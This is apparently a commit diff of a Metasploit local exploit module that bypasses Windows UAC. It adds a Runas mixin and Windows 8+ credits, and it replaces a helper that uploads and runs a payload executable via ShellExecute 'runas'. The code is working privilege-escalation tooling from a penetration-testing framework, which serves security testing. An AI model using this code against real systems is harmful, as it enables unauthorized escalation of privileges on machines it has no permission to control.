@@ -14,6 +14,7 @@ class Metasploit3 < Msf::Exploit::Local
14
14
include Post ::File
15
15
include Post ::Windows ::Priv
16
16
include Post ::Windows ::ReflectiveDLLInjection
17
+ include Post ::Windows ::Runas
17
18
18
19
def initialize ( info = { } )
19
20
super ( update_info ( info ,
@@ -33,7 +34,9 @@ def initialize(info={})
33
34
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>' ,
34
35
'mitnick' ,
35
36
'mubix' , # Port to local exploit
36
- 'Ben Campbell' # In memory technique
37
+ 'Ben Campbell' , # In memory technique
38
+ 'Lesage' , # Win8+ updates
39
+ 'OJ Reeves' # Win 8+ updates
37
40
] ,
38
41
'Platform' => [ 'win' ] ,
39
42
'SessionTypes' => [ 'meterpreter' ] ,
@@ -76,7 +79,7 @@ def exploit
76
79
print_good ( 'BypassUAC can bypass this setting, continuing...' )
77
80
when UAC_NO_PROMPT
78
81
print_warning ( 'UAC set to DoNotPrompt - using ShellExecute "runas" method instead' )
79
- runas_method ( env_vars [ 'TEMP' ] )
82
+ shell_execute_exe
80
83
return
81
84
end
82
85
@@ -142,20 +145,6 @@ def check_permissions!
142
145
end
143
146
end
144
147
145
- def runas_method ( temp_dir )
146
- payload = generate_payload_exe
147
- payload_filename = Rex ::Text . rand_text_alpha ( ( rand ( 8 ) + 6 ) ) + '.exe'
148
- temp_exe = "#{ temp_dir } \\ #{ payload_filename } "
149
-
150
- print_status ( "Uploading payload: #{ temp_exe } " )
151
- write_file ( temp_exe , payload )
152
- register_file_for_cleanup ( temp_exe )
153
-
154
- print_status ( "Executing payload: #{ temp_exe } " )
155
- session . railgun . shell32 . ShellExecuteA ( nil , 'runas' , temp_exe , nil , nil , 5 )
156
- print_status ( 'Payload executed.' )
157
- end
158
-
159
148
def run_injection ( pid , dll_path , file_paths )
160
149
vprint_status ( "Injecting #{ datastore [ 'DLL_PATH' ] } into process ID #{ pid } " )
161
150
begin
@@ -226,9 +215,7 @@ def validate_environment!
226
215
if is_uac_enabled?
227
216
print_status ( 'UAC is Enabled, checking level...' )
228
217
else
229
- if is_in_admin_group?
230
- fail_with ( Exploit ::Failure ::Unknown , 'UAC is disabled and we are in the admin group so something has gone wrong...' )
231
- else
218
+ unless is_in_admin_group?
232
219
fail_with ( Exploit ::Failure ::NoAccess , 'Not in admins group, cannot escalate with this module' )
233
220
end
234
221
end
0 commit comments